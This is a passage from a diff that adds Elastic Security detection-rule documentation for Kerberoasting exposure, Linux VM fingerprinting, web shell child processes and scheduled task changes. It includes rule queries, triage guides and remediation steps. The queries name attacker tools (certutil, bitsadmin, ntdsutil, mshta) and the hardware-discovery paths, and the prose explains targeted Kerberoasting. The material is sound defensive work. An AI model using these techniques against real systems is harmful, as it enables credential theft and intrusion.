changes that might indicate a pattern of unauthorized access. + + +*False positive analysis* + + +- Scheduled task modifications by IT administrators performing routine maintenance can trigger alerts. To manage this, create exceptions for known administrator accounts that regularly update tasks. +- Software updates or installations by trusted applications may modify scheduled tasks. Identify these applications and exclude their associated user accounts or processes from the rule. +- Automated scripts or management tools that modify tasks as part of their normal operation can be mistaken for suspicious activity. Document these tools and exclude their activity from detection. +- Temporary user accounts used for specific projects or tasks might modify scheduled tasks. If these accounts are verified and trusted, consider excluding them from the rule during their active period. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized scheduled task modifications or potential lateral movement by the adversary. +- Terminate any suspicious processes associated with the modified scheduled task to halt any ongoing malicious activity. +- Review the modified scheduled task details, including the command or script being executed, and remove or disable any malicious components identified. +- Reset the credentials of the user account involved in the modification to prevent further unauthorized access, and investigate for any signs of credential compromise. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has spread to other systems. +- Implement additional monitoring and alerting for scheduled task modifications across the environment to enhance detection of similar threats in the future. + + +==== Setup + + + +*Setup* + + +Audit Other Object Access Events must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-other-object-access-events + + +==== Rule query + + +[source, js] +---------------------------------- +event.category: "iam" and host.os.type:"windows" and event.code: "4702" and + not winlog.event_data.SubjectUserSid : ("S-1-5-18" or "S-1-5-19" or "S-1-5-20") and + not user.name : *$ + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-user-account-exposed-to-kerberoasting.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-user-account-exposed-to-kerberoasting.asciidoc new file mode 100644 index 0000000000..9e8f6f8627 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-user-account-exposed-to-kerberoasting.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-36-user-account-exposed-to-kerberoasting]] +=== User account exposed to Kerberoasting + +Detects when a user account has the servicePrincipalName attribute modified. Attackers can abuse write privileges over a user to configure Service Principle Names (SPNs) so that they can perform Kerberoasting. Administrators can also configure this for legitimate purposes, exposing the account to Kerberoasting. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.thehacker.recipes/ad/movement/access-controls/targeted-kerberoasting +* https://www.qomplx.com/qomplx-knowledge-kerberoasting-attacks-explained/ +* https://www.thehacker.recipes/ad/movement/kerberos/kerberoast +* https://attack.stealthbits.com/cracking-kerberos-tgs-tickets-using-kerberoasting +* https://adsecurity.org/?p=3466 +* https://github.com/OTRF/Set-AuditRule + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Active Directory +* Resources: Investigation Guide +* Use Case: Active Directory Monitoring +* Data Source: Windows Security Event Logs +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 224 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating User account exposed to Kerberoasting* + + +Service Principal Names (SPNs) are names by which Kerberos clients uniquely identify service instances for Kerberos target computers. + +By default, only computer accounts have SPNs, which creates no significant risk, since machine accounts have a default domain policy that rotates their passwords every 30 days, and the password is composed of 120 random characters, making them invulnerable to Kerberoasting. + +A user account with an SPN assigned is considered a service account, and is accessible to the entire domain. If any user in the directory requests a ticket-granting service (TGS), the domain controller will encrypt it with the secret key of the account executing the service. An attacker can potentially perform a Kerberoasting attack with this information, as the human-defined password is likely to be less complex. + +For scenarios where SPNs cannot be avoided on user accounts, Microsoft provides the Group Managed Service Accounts (gMSA) feature, which ensures that account passwords are robust and changed regularly and automatically. More information can be found https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview[here]. + +Attackers can also perform "Targeted Kerberoasting", which consists of adding fake SPNs to user accounts that they have write privileges to, making them potentially vulnerable to Kerberoasting. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate if the target account is a member of privileged groups (Domain Admins, Enterprise Admins, etc.). +- Investigate if tickets have been requested for the target account. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- The use of user accounts as service accounts is a bad security practice and should not be allowed in the domain. The security team should map and monitor any potential benign true positive (B-TP), especially if the account is privileged. Domain Administrators that define this kind of setting can put the domain at risk as user accounts don't have the same security standards as computer accounts (which have long, complex, random passwords that change frequently), exposing them to credential cracking attacks (Kerberoasting, brute force, etc.). + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. Prioritize privileged accounts. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +Audit Directory Service Changes must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-directory-service-changes + + +==== Rule query + + +[source, js] +---------------------------------- +event.code:5136 and host.os.type:"windows" and winlog.event_data.OperationType:"%%14674" and + winlog.event_data.ObjectClass:"user" and + winlog.event_data.AttributeLDAPDisplayName:"servicePrincipalName" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-virtual-machine-fingerprinting.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-virtual-machine-fingerprinting.asciidoc new file mode 100644 index 0000000000..7df6f32d05 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-virtual-machine-fingerprinting.asciidoc @@ -0,0 +1,209 @@ +[[prebuilt-rule-8-19-36-virtual-machine-fingerprinting]] +=== Virtual Machine Fingerprinting + +An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy RAT and other malware. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-endpoint.events.* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Data Source: Auditd Manager + +*Version*: 117 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Virtual Machine Fingerprinting* + + +Virtual Machine Fingerprinting involves identifying characteristics of a virtual environment, often to tailor attacks or evade detection. Adversaries exploit this by querying system files for hardware details, a tactic seen in malware like Pupy RAT. The detection rule flags non-root users accessing specific Linux paths indicative of VM queries, signaling potential reconnaissance activities. + + +*Possible investigation steps* + + +- Review the process execution details to identify the non-root user involved in accessing the specified paths, focusing on the user.name field. +- Examine the process.args field to determine which specific file paths were accessed, as this can indicate the type of virtual machine information being targeted. +- Investigate the parent process and command line arguments to understand the context of the process initiation and whether it aligns with legitimate user activity. +- Check for any related alerts or logs around the same timeframe to identify potential patterns or repeated attempts at virtual machine fingerprinting. +- Assess the system for any signs of compromise or unauthorized access, particularly focusing on the presence of known malware like Pupy RAT or similar threats. +- Correlate the findings with MITRE ATT&CK framework references (TA0007, T1082) to understand the broader tactics and techniques potentially in use by the adversary. + + +*False positive analysis* + + +- Non-root users running legitimate scripts or applications that query system files for hardware information may trigger the rule. Review the context of the process and user activity to determine if it aligns with expected behavior. +- System administrators or developers using automated tools for inventory or monitoring purposes might access these paths. Consider creating exceptions for known tools or scripts that are verified as safe. +- Security or compliance audits conducted by non-root users could inadvertently match the rule's criteria. Document and whitelist these activities if they are part of regular operations. +- Development environments where virtual machine detection is part of testing processes may cause false positives. Identify and exclude these environments from the rule's scope if they are consistently flagged. +- Regularly review and update the list of exceptions to ensure that only verified and necessary exclusions are maintained, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further reconnaissance or potential lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are attempting to access the specified system files, especially those not initiated by the root user. +- Conduct a thorough review of recent user activity and process logs to identify any unauthorized access or anomalies that may indicate further compromise. +- Reset credentials for any non-root users involved in the alert to prevent unauthorized access, and review user permissions to ensure least privilege principles are enforced. +- Deploy endpoint detection and response (EDR) tools to monitor for similar suspicious activities and enhance visibility into system processes and user actions. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for the specific file paths and processes identified in the query to detect and respond to future attempts at virtual machine fingerprinting. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "process_started") and +process.args in ( + "/sys/class/dmi/id/bios_version", "/sys/class/dmi/id/product_name", "/sys/class/dmi/id/chassis_vendor", + "/proc/scsi/scsi", "/proc/ide/hd0/model" +) and not ( + user.name == "root" or + process.parent.name in ("LinkManager.exe", "saposcol") or + ?process.working_directory == "/home/qualys" or + ?process.parent.executable in ( + "/usr/sara/sbin/sys2prometheus", "/usr/sara/sbin/sys2ganglia", "/usr/libexec/valgrind/memcheck-amd64-linux", + "/var/lib/cfengine3/modules/init_node", "/opt/emby-server/system/EmbyServer" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: System Checks +** ID: T1497.001 +** Reference URL: https://attack.mitre.org/techniques/T1497/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: System Checks +** ID: T1497.001 +** Reference URL: https://attack.mitre.org/techniques/T1497/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-web-shell-detection-script-process-child-of-common-web-processes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-web-shell-detection-script-process-child-of-common-web-processes.asciidoc new file mode 100644 index 0000000000..31f558bc37 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-web-shell-detection-script-process-child-of-common-web-processes.asciidoc @@ -0,0 +1,336 @@ +[[prebuilt-rule-8-19-36-web-shell-detection-script-process-child-of-common-web-processes]] +=== Web Shell Detection: Script Process Child of Common Web Processes + +Identifies suspicious commands executed via a web server, which may suggest a vulnerability and remote shell access. + +*Rule type*: new_terms + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/security/blog/2020/02/04/ghost-in-the-shell-investigating-web-shell-attacks/ +* https://www.elastic.co/security-labs/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965 +* https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Web Shell +* Rule Type: New Terms +* Platform: Windows + +*Version*: 427 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Possible investigation steps* + + +- What execution path did the alert capture? + - Focus: child `process.executable` / `process.command_line`; web-parent `process.parent.name`, `process.parent.executable`, and `process.parent.command_line` for IIS/Apache/nginx/PHP CGI/Tomcat/ArcGIS. + - Implication: escalate when a web-facing parent launches a shell, script host, downloader, archive tool, or admin utility outside bounded tasks; lower only when parent context, child path, and command match one exact deployment, health-check, log rotation, or support task. +- Is the child command administration or post-exploitation? + - Focus: `process.command_line`: WMIC, download cradles, archive creation, account/system discovery, service control, credential access, script-host flags, or web-root/temp/backup/app-content paths. + - Hint: for PowerShell, reconstruct script blocks by `host.id` and `process.pid` via `powershell.file.script_block_text`, `powershell.sequence`, and `powershell.total`; missing PowerShell telemetry is unresolved, not benign. + - Implication: escalate when the command stages payloads, runs discovery, creates accounts, changes services, or writes to web-accessible or temp paths; lower suspicion when bounded to one recognized deployment, health-check, log rotation, or support task. +- Is user context human admin or service identity? + - Why: web-process children often inherit app-pool or service identity; `user.id`, `user.name`, and `user.domain` do not prove human initiation. + - Focus: `@timestamp`, `user.id`, `user.name`, `process.Ext.session_info.logon_type`, and `process.parent.command_line`. + - Implication: escalate when service or network logon context launches interactive troubleshooting, remote administration, or off-hours shell activity without a matching window; lower suspicion when identity, logon type, parent pool/service, and command scope fit one exact workflow. +- Does child binary identity fit its command? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when the child is renamed, unsigned/untrusted, user-writable, or mismatched to original file name; lower suspicion when identity and path match stable tooling, but continue because trusted binaries can carry web-shell commands. +- Did file telemetry show web-shell placement, staging, or config changes? + - Focus: if file telemetry exists, review `host.id` file events for child `process.entity_id` or `process.pid`, checking `file.path`, `file.Ext.original.path`, and `file.Ext.windows.zone_identifier`. !{investigate{"description":"","label":"File events for the suspicious child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: web-root script writes without later child starts are adjacent-variant evidence; if the child writes a script or executable, query starts where `process.executable` equals that path on same `host.id`. + - Implication: escalate when the child writes ASPX, ASP, PHP, JSP, JS, BAT, PS1, EXE, DLL, JAR, WAR, or archives to web-accessible/temp/user-writable paths, or a written artifact later executes; missing file telemetry is unresolved, not benign, and absence does not close. +- Did the child launch second-stage processes? + - Focus: child starts on `host.id` where `process.parent.entity_id` equals child `process.entity_id`, checking `process.executable`, `process.command_line`, and `process.hash.sha256`. !{investigate{"description":"","label":"Child process events from the suspicious child","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when descendants include shells, script hosts, downloaders, archive tools, credential utilities, service control, or persistence tooling; absence only narrows impact when command, file, network, and related alerts also fit a benign workflow. +- Did DNS/network telemetry show retrieval or control? + - Focus: if DNS/network telemetry exists, review child `process.entity_id` events on `host.id`, separating `dns.question.name` / `dns.resolved_ip` from `destination.ip` / `destination.port`; compare role with command intent. !{investigate{"description":"","label":"Network events for the suspicious child process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: map DNS results to later connection IPs before linking query and connection; if a third-party alert lacks `process.entity_id`, recover the child by `host.id`, `process.pid`, and `@timestamp`. Missing network/DNS telemetry is unresolved, not benign. + - Implication: escalate when the child retrieves tools from public infrastructure, reaches rare/misaligned destinations, or connects outside web-server administration; decide from alert-local process evidence and corroboration when DNS/network telemetry is unavailable. +- Do related alerts show broader compromise? + - Focus: same-web-parent starts and 48h `host.id` alerts for web-shell, credential-access, discovery, archive, lateral-movement, persistence, or anti-forensics. + - !{investigate{"description":"","label":"Process events from the same web parent","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate scope when alerts cluster around the same server role, child command family, or staged artifacts; absence only narrows response scope when local parent-child, command, identity, file, and network evidence are explained. +- What disposition fits? + - Implication: escalate on unexplained server-side execution, exploit-like command intent, suspicious child identity, payload staging, rare destinations, or broader compromise; do not wait for optional pivots when alert-local process evidence is unsafe. Close only when same-host alert-window telemetry proves one exact benign web-server workflow; use outside confirmation for legitimacy gaps. If evidence is mixed or visibility incomplete, preserve artifacts and escalate. + + +*False positive analysis* + + +- Web deployment, post-install validation, health checks, vendor extension install, ArcGIS publishing, or maintenance can spawn "cmd.exe", PowerShell, or "wscript.exe" from web components. Confirm only when parent, child, command, service identity, and artifact/destination evidence describe the same alert-window workflow with no unexpected web-content writes, rare callbacks, or contradictions. +- If telemetry proves shape but not legitimacy, require matching change, deployment, runbook, vendor, or owner confirmation; use prior occurrences post-closure to test exception stability. +- Build exceptions from minimum confirmed pattern: web parent command, child executable/hash/signature, command line, `user.id`, `host.id`, and bounded content path or destination when decisive. Avoid parent name, `process.name`, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment, document exact parent, child, command, service identity, artifact/destination evidence, and confirmation, and create exceptions only from that pattern. +- If suspicious but unconfirmed, preserve the alert/export, process tree, child/parent entity IDs, command lines, hash, staged-file copies, destinations, related alerts, and web/app logs around `@timestamp` before containment or cleanup. +- Apply reversible containment tied to evidence: block confirmed malicious destinations, restrict affected site/app access, disable exposed extension or virtual directory, or increase `host.id` monitoring. Isolate only when evidence and server criticality permit. +- If confirmed malicious, contain the host or terminate the child only after preservation; if direct response is unavailable, escalate with process/artifact/destination/server-log evidence to the team that can contain the server, disable the exposed path, or stop the service. +- Before deletion/restoration, hunt for the same hash, child command, staged path, domain, IP, and port across hosts/accounts. Then remove web shells, scripts, archives, scheduled tasks, dropped utilities, and persistence; restore known-good content/config; rotate exposed service, app, or admin credentials if secrets may be exposed. +- After containment, patch the implicated app, extension, framework, or server component; review the internet-exposed site/service that launched the child; retain endpoint, network, and web logs; document script-only variants or logging gaps. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type: "windows" and +event.category: "process" and +event.type: "start" and +process.args:* and +process.parent.name: ( + "w3wp.exe" or + "httpd.exe" or + apache*.exe or + "nginx.exe" or + "php.exe" or + "php-cgi.exe" or + "php-win.exe" or + "phpdbg.exe" or + "php-fpm.exe" or + tomcat*.exe or + "ArcSOC.exe" or + "frankenphp.exe" or + "roadrunner.exe" or + "unit.exe" or + "caddy.exe" or + "lighttpd.exe" or + "iisexpress.exe" or + "java.exe" or + "UMWorkerProcess.exe" or + "ws_TomcatService.exe" +) and +( + process.name: ( + "cmd.exe" or + "cscript.exe" or + "powershell.exe" or + "pwsh.exe" or + "powershell_ise.exe" or + "wmic.exe" or + "wscript.exe" or + "mshta.exe" or + "rundll32.exe" or + "regsvr32.exe" or + "certutil.exe" or + "bitsadmin.exe" or + "curl.exe" or + "wget.exe" or + "whoami.exe" or + "hostname.exe" or + "ipconfig.exe" or + "net.exe" or + "net1.exe" or + "nltest.exe" or + "schtasks.exe" or + "sc.exe" or + "python.exe" or + "perl.exe" or + "reg.exe" or + "netsh.exe" or + "ntdsutil.exe" or + "vssadmin.exe" or + "wevtutil.exe" or + "scrcons.exe" or + "systeminfo.exe" or + "tasklist.exe" or + "netstat.exe" or + "dsquery.exe" or + "dsget.exe" or + "netdom.exe" + ) or + process.name.caseless: ( + "cmd.exe" or + "cscript.exe" or + "powershell.exe" or + "pwsh.exe" or + "powershell_ise.exe" or + "wmic.exe" or + "wscript.exe" or + "mshta.exe" or + "rundll32.exe" or + "regsvr32.exe" or + "certutil.exe" or + "bitsadmin.exe" or + "curl.exe" or + "wget.exe" or + "whoami.exe" or + "hostname.exe" or + "ipconfig.exe" or + "net.exe" or + "net1.exe" or + "nltest.exe" or + "schtasks.exe" or + "sc.exe" or + "python.exe" or + "perl.exe" or + "ntdsutil.exe" or + "vssadmin.exe" or + "wevtutil.exe" or + "scrcons.exe" or + "systeminfo.exe" or + "tasklist.exe" or + "netstat.exe" or + "dsquery.exe" or + "dsget.exe" or + "netdom.exe" + ) +) and + not + ( + process.command_line : ( + "cmd.exe /c mode CON" or + "cmd.exe /s /c \"mode CON\"" or + "cmd.exe /c \"mode\"" or + "cmd.exe /s /c \"tput colors 2>&1\"" or + "cmd.exe /s /c \"stty 2> NUL\"" or + "cmd.exe /s /c \"stty 2>&1\"" or + "cmd.exe /c \"stty 2>&1\"" or + "cmd.exe /s /c \"ipconfig /all 2>&1\"" or + "cmd.exe /s /c \"echo '%os%'\"" or + *.\\install\\awk.exe* + ) or + process.args : (\(git or (*artisan* and *queue\:work*) or *rmdir* or "mode CON" or ver or ls or mode or dir) or + + (process.name:cmd.exe and process.parent.args : "c:\\\\xampp\\\\htdocs\\\\open-audit\\\\index.php") or + + (process.name:cmd.exe and process.args:("/V:ON" and "--header-html")) or + + (process.parent.args :"E:/wamp64/bin/apache/apache*" and process.args:node*) or + + (process.parent.name:"php.exe" and process.name:"cmd.exe" and process.args:("/V:ON" and "/E:ON")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git 